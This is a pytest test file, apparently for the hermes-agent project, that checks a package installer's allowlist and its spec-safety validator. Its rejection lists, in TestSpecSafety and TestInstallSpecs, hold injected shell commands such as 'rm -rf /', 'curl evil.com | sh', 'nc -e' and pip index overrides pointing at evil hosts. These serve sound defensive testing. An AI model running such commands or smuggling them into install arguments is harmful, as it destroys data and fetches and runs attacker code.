mirror of
https://github.com/NousResearch/hermes-agent.git
synced 2026-07-31 19:16:29 +00:00
Second, deeper pass over tools/gateway/hermes_cli plus first pass over the trees wave 1 missed (acp, acp_adapter, skills, computer_use, docker, dashboard, conformance, monitoring, secret_sources, hermes_state, providers). Same rubric as wave 1 (AGENTS.md test policy); security, alternation/caching invariants, issue-number regressions, and E2E kept. Real test-quality fixes found and rooted out along the way: - tests/tools/test_command_guards.py made real auxiliary-LLM HTTPS calls (DEFAULT_CONFIG smart-approval leaked in) — pinned approval mode=manual via autouse fixture: 17.4s → 0.4s. - test_model_switch_custom_providers.py / test_user_providers_model_switch.py silently probed live provider catalogs (~2s/test) — stubbed cached_provider_model_ids/provider_model_ids/fetch_api_models. - test_telegram_noise_filter.py: 15-platform copy-paste matrix over shared gateway.run logic → 3 representative platforms (55s → 3.9s). - test_gateway_shutdown.py: stop()'s 5s interrupt-deadline loop spun on MagicMock agents — interrupt.side_effect now clears _running_agents (22s → 1.0s). - test_gateway_inactivity_timeout.py poll-harness timings shrunk 3-5x (24s → 1.1s); test_mcp_stability.py backoff/SIGTERM-grace sleeps patched (15.4s → 2.5s); test_async_delegation.py negative-drain wait 5s → 0.5s. - test_telegram_init_deadline.py: loop-block margin restored to 1.0s with rationale comment — the watchdog-dump assertion needs the loop blocked well past deadline+grace under parallel load (flaked once in the 40-worker verification run at a 0.2s margin). Verification: full hermetic suite via scripts/run_tests.sh — 2,438 files, 21,718 tests passed, 0 failed, 293.9s wall. Suite totals vs original baseline: 46,820 → 19,757 test functions (−57.8%), wall 583.5s → 293.9s (−50%), subprocess CPU 13,564s → 11,623s.
363 lines
15 KiB
Python
363 lines
15 KiB
Python
"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer.
|
|
|
|
The lazy_deps module is the architectural fix for the "one quarantined
|
|
package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)``
|
|
which only installs from a strict allowlist, refuses anything that looks
|
|
like a URL / file path, runs venv-scoped, and respects the
|
|
``security.allow_lazy_installs`` config flag.
|
|
|
|
These tests cover the security boundary and the public API. The real pip
|
|
call is mocked — we never actually shell out during unit tests.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
|
|
import pytest
|
|
|
|
import tools.lazy_deps as ld
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Spec safety
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestSpecSafety:
|
|
@pytest.mark.parametrize("spec", [
|
|
"mistralai>=2.3.0,<3",
|
|
"elevenlabs>=1.0,<2",
|
|
"honcho-ai>=2.2.0,<3",
|
|
"boto3>=1.35.0,<2",
|
|
"mautrix[encryption]>=0.20,<1",
|
|
"google-api-python-client>=2.100,<3",
|
|
"youtube-transcript-api>=1.2.0",
|
|
"qrcode>=7.0,<8",
|
|
"package", # bare name, no version
|
|
"package==1.0.0",
|
|
"package~=1.0",
|
|
])
|
|
def test_safe_specs_pass(self, spec):
|
|
assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe"
|
|
|
|
@pytest.mark.parametrize("spec", [
|
|
# URL-shaped → rejected (no remote origin override allowed)
|
|
"git+https://github.com/foo/bar.git",
|
|
"https://example.com/foo.tar.gz",
|
|
# File path → rejected
|
|
"/etc/passwd",
|
|
"./local-malware",
|
|
"../escape",
|
|
# Shell metacharacters → rejected
|
|
"package; rm -rf /",
|
|
"package && curl evil.com | sh",
|
|
"package`whoami`",
|
|
"package$(whoami)",
|
|
"package|nc -e",
|
|
# Pip flag injection → rejected
|
|
"--index-url=http://evil/",
|
|
"-r requirements.txt",
|
|
# Whitespace control chars → rejected
|
|
"package\nshell-injection",
|
|
"package\rmore",
|
|
# Empty / overly long → rejected
|
|
"",
|
|
"x" * 500,
|
|
])
|
|
def test_unsafe_specs_rejected(self, spec):
|
|
assert not ld._spec_is_safe(spec), \
|
|
f"expected {spec!r} to be rejected"
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Allowlist enforcement
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestAllowlist:
|
|
def test_unknown_feature_raises(self, monkeypatch):
|
|
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
|
with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"):
|
|
ld.ensure("not.a.real.feature")
|
|
|
|
|
|
def test_feature_install_command_unknown(self):
|
|
assert ld.feature_install_command("not.real") is None
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# allow_lazy_installs gating
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestSecurityGating:
|
|
def test_disabled_via_config_raises(self, monkeypatch):
|
|
# Pretend honcho is missing AND lazy installs are disabled.
|
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",))
|
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
|
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False)
|
|
with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"):
|
|
ld.ensure("test.feat", prompt=False)
|
|
|
|
|
|
def test_config_failure_fails_open(self, monkeypatch):
|
|
# If config can't be read at all, we ALLOW installs rather than
|
|
# blocking the user out of their own backends.
|
|
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
|
|
monkeypatch.setattr(
|
|
"hermes_cli.config.load_config",
|
|
lambda: (_ for _ in ()).throw(RuntimeError("config broken")),
|
|
)
|
|
assert ld._allow_lazy_installs() is True
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# ensure() happy/sad paths
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestEnsure:
|
|
def test_already_satisfied_is_noop(self, monkeypatch):
|
|
# If the package is importable, ensure() returns without calling pip.
|
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",))
|
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
|
|
# If pip were called, this would fail loudly.
|
|
monkeypatch.setattr(
|
|
ld, "_venv_pip_install",
|
|
lambda *a, **kw: pytest.fail("pip should not be called"),
|
|
)
|
|
ld.ensure("test.satisfied", prompt=False) # no exception
|
|
|
|
|
|
def test_install_succeeds_but_still_missing_raises(self, monkeypatch):
|
|
# Pip says success but the package still isn't importable
|
|
# (e.g. site-packages caching, wrong python). Surface this.
|
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",))
|
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
|
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
|
monkeypatch.setattr(
|
|
ld, "_venv_pip_install",
|
|
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
|
|
)
|
|
with pytest.raises(ld.FeatureUnavailable, match="still not importable"):
|
|
ld.ensure("test.cache", prompt=False)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# is_available
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestIsAvailable:
|
|
def test_unknown_feature_returns_false(self):
|
|
assert ld.is_available("not.a.thing") is False
|
|
|
|
|
|
def test_missing_returns_false(self, monkeypatch):
|
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",))
|
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
|
assert ld.is_available("test.miss") is False
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Version-aware _is_satisfied (Piece B — "stale pin" detection)
|
|
#
|
|
# The original implementation returned True the moment the package name
|
|
# was importable, ignoring the spec's version range. That meant pin bumps
|
|
# in LAZY_DEPS never propagated to users who already lazy-installed the
|
|
# backend at an older version. _is_satisfied now parses the spec and
|
|
# checks the installed version against the constraint.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestIsSatisfiedVersionAware:
|
|
def _fake_version(self, monkeypatch, installed_versions: dict):
|
|
"""Patch importlib.metadata.version() inside lazy_deps."""
|
|
from importlib.metadata import PackageNotFoundError
|
|
|
|
def _version(pkg):
|
|
if pkg in installed_versions:
|
|
return installed_versions[pkg]
|
|
raise PackageNotFoundError(pkg)
|
|
|
|
# Patch at the import site lazy_deps uses (inside the function).
|
|
import importlib.metadata as _md
|
|
monkeypatch.setattr(_md, "version", _version)
|
|
|
|
def test_exact_pin_match_returns_true(self, monkeypatch):
|
|
self._fake_version(monkeypatch, {"honcho-ai": "2.2.0"})
|
|
assert ld._is_satisfied("honcho-ai==2.2.0") is True
|
|
|
|
|
|
def test_range_within_returns_true(self, monkeypatch):
|
|
self._fake_version(monkeypatch, {"slack-bolt": "1.27.0"})
|
|
assert ld._is_satisfied("slack-bolt>=1.18.0,<2") is True
|
|
|
|
|
|
def test_bare_package_name_presence_is_enough(self, monkeypatch):
|
|
# No version constraint — presence alone counts as satisfied.
|
|
self._fake_version(monkeypatch, {"somepkg": "1.0.0"})
|
|
assert ld._is_satisfied("somepkg") is True
|
|
|
|
def test_extras_block_in_spec_is_stripped(self, monkeypatch):
|
|
# mautrix[encryption]==0.21.0 — the [encryption] block must not
|
|
# confuse the specifier parser.
|
|
self._fake_version(monkeypatch, {"mautrix": "0.21.0"})
|
|
assert ld._is_satisfied("mautrix[encryption]==0.21.0") is True
|
|
|
|
def test_extras_block_mismatch_returns_false(self, monkeypatch):
|
|
self._fake_version(monkeypatch, {"mautrix": "0.20.0"})
|
|
assert ld._is_satisfied("mautrix[encryption]==0.21.0") is False
|
|
|
|
def test_trace_upload_hub_at_core_locked_version_is_current(self, monkeypatch):
|
|
"""#60783 regression: refresh must not churn the shared hub install.
|
|
|
|
huggingface-hub arrives in the venv via the core lock (transformers /
|
|
sentence-transformers for local Hindsight, faster-whisper, tokenizers).
|
|
With the LAZY_DEPS pin held in lockstep with uv.lock, the version the
|
|
core installs satisfies the trace-upload spec, so the `hermes update`
|
|
lazy-refresh pass reports "current" instead of reinstalling — the
|
|
downgrade that used to break the Hindsight daemon can't happen.
|
|
"""
|
|
spec = ld.LAZY_DEPS["tool.trace_upload"][0]
|
|
pinned = ld._specifier_from_spec(spec).lstrip("=")
|
|
self._fake_version(monkeypatch, {"huggingface-hub": pinned})
|
|
assert ld._is_satisfied(spec) is True
|
|
assert ld.feature_missing("tool.trace_upload") == ()
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# active_features + refresh_active_features (Piece A — hermes update wiring)
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestActiveFeatures:
|
|
def test_no_packages_installed_returns_empty(self, monkeypatch):
|
|
monkeypatch.setattr(ld, "_is_present", lambda spec: False)
|
|
assert ld.active_features() == []
|
|
|
|
|
|
def test_shared_dependency_does_not_activate_feature(self, monkeypatch):
|
|
# asyncpg is a generic dependency that may be installed for unrelated
|
|
# reasons. It must not make hermes update try to refresh Matrix unless
|
|
# the Matrix anchor package (mautrix) is present.
|
|
monkeypatch.setattr(
|
|
ld, "_is_present",
|
|
lambda spec: ld._pkg_name_from_spec(spec) == "asyncpg",
|
|
)
|
|
assert "platform.matrix" not in ld.active_features()
|
|
|
|
|
|
class TestRefreshActiveFeatures:
|
|
def test_no_active_features_returns_empty(self, monkeypatch):
|
|
monkeypatch.setattr(ld, "active_features", lambda: [])
|
|
assert ld.refresh_active_features() == {}
|
|
|
|
def test_windows_matrix_refresh_is_skipped_before_pip(self, monkeypatch):
|
|
# Matrix E2EE pulls python-olm, which has no native Windows wheel/build
|
|
# path. `hermes update` must not retry that doomed install every run.
|
|
monkeypatch.setattr(ld.sys, "platform", "win32")
|
|
monkeypatch.setattr(ld, "active_features", lambda: ["platform.matrix"])
|
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
|
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
|
monkeypatch.setattr(
|
|
ld,
|
|
"_venv_pip_install",
|
|
lambda *a, **kw: pytest.fail("pip should not be called for unsupported Matrix on Windows"),
|
|
)
|
|
|
|
result = ld.refresh_active_features()
|
|
|
|
assert result["platform.matrix"].startswith("skipped:")
|
|
assert "unsupported on Windows" in result["platform.matrix"]
|
|
|
|
|
|
def test_mixed_results_returns_per_feature_status(self, monkeypatch):
|
|
monkeypatch.setattr(ld, "active_features", lambda: ["a.ok", "b.fail"])
|
|
monkeypatch.setitem(ld.LAZY_DEPS, "a.ok", ("pkga==1.0",))
|
|
monkeypatch.setitem(ld.LAZY_DEPS, "b.fail", ("pkgb==1.0",))
|
|
# a.ok: already satisfied → "current"
|
|
# b.fail: missing + install fails → "failed:"
|
|
def fake_satisfied(spec):
|
|
return ld._pkg_name_from_spec(spec) == "pkga"
|
|
monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied)
|
|
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
|
monkeypatch.setattr(
|
|
ld, "_venv_pip_install",
|
|
lambda specs, **kw: ld._InstallResult(False, "", "nope"),
|
|
)
|
|
result = ld.refresh_active_features()
|
|
assert result["a.ok"] == "current"
|
|
assert result["b.fail"].startswith("failed:")
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# install_specs — manifest-driven installs (dashboard memory providers etc.)
|
|
#
|
|
# NS-605: the dashboard's memory-provider setup endpoint used to shell out
|
|
# to `uv pip install --python sys.executable`, which fails with a permission
|
|
# error on the sealed hosted venv. install_specs routes those installs
|
|
# through the same environment-aware pipeline as ensure(): venv-scoped on
|
|
# normal installs, redirected to the durable target on immutable images,
|
|
# and cleanly refused (with a reason) when installs are gated off.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
class TestInstallSpecs:
|
|
def test_empty_specs_is_trivially_ok(self, monkeypatch):
|
|
monkeypatch.setattr(
|
|
ld, "_venv_pip_install",
|
|
lambda *a, **kw: pytest.fail("pip should not be called"),
|
|
)
|
|
result = ld.install_specs([])
|
|
assert result.ok is True
|
|
assert result.blocked is False
|
|
|
|
def test_blank_specs_are_ignored(self, monkeypatch):
|
|
monkeypatch.setattr(
|
|
ld, "_venv_pip_install",
|
|
lambda *a, **kw: pytest.fail("pip should not be called"),
|
|
)
|
|
result = ld.install_specs(["", " "])
|
|
assert result.ok is True
|
|
|
|
@pytest.mark.parametrize("bad", [
|
|
"pkg; rm -rf /",
|
|
"-e git+https://evil.example/repo.git",
|
|
"https://evil.example/pkg.tar.gz",
|
|
"../../etc/passwd",
|
|
"pkg @ file:///tmp/x",
|
|
])
|
|
def test_unsafe_specs_are_blocked_before_any_install(self, monkeypatch, bad):
|
|
monkeypatch.setattr(
|
|
ld, "_venv_pip_install",
|
|
lambda *a, **kw: pytest.fail("pip should not be called"),
|
|
)
|
|
result = ld.install_specs([bad])
|
|
assert result.ok is False
|
|
assert result.blocked is True
|
|
assert "unsafe spec" in result.reason
|
|
|
|
def test_one_unsafe_spec_blocks_the_whole_batch(self, monkeypatch):
|
|
monkeypatch.setattr(
|
|
ld, "_venv_pip_install",
|
|
lambda *a, **kw: pytest.fail("pip should not be called"),
|
|
)
|
|
result = ld.install_specs(["honcho-ai==2.2.0", "pkg; rm -rf /"])
|
|
assert result.blocked is True
|
|
|
|
|
|
def test_never_raises_on_unexpected_error(self, monkeypatch):
|
|
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
|
|
monkeypatch.delenv(ld._LAZY_TARGET_ENV, raising=False)
|
|
monkeypatch.setattr(
|
|
"hermes_cli.config.load_config", lambda: {}, raising=False
|
|
)
|
|
# Contract: install_specs never raises — even an unexpected installer
|
|
# crash comes back as a failed result the caller can render.
|
|
def boom(specs, **kw):
|
|
raise RuntimeError("disk on fire")
|
|
monkeypatch.setattr(ld, "_venv_pip_install", boom)
|
|
result = ld.install_specs(["honcho-ai==2.2.0"])
|
|
assert result.ok is False
|
|
assert "disk on fire" in result.stderr
|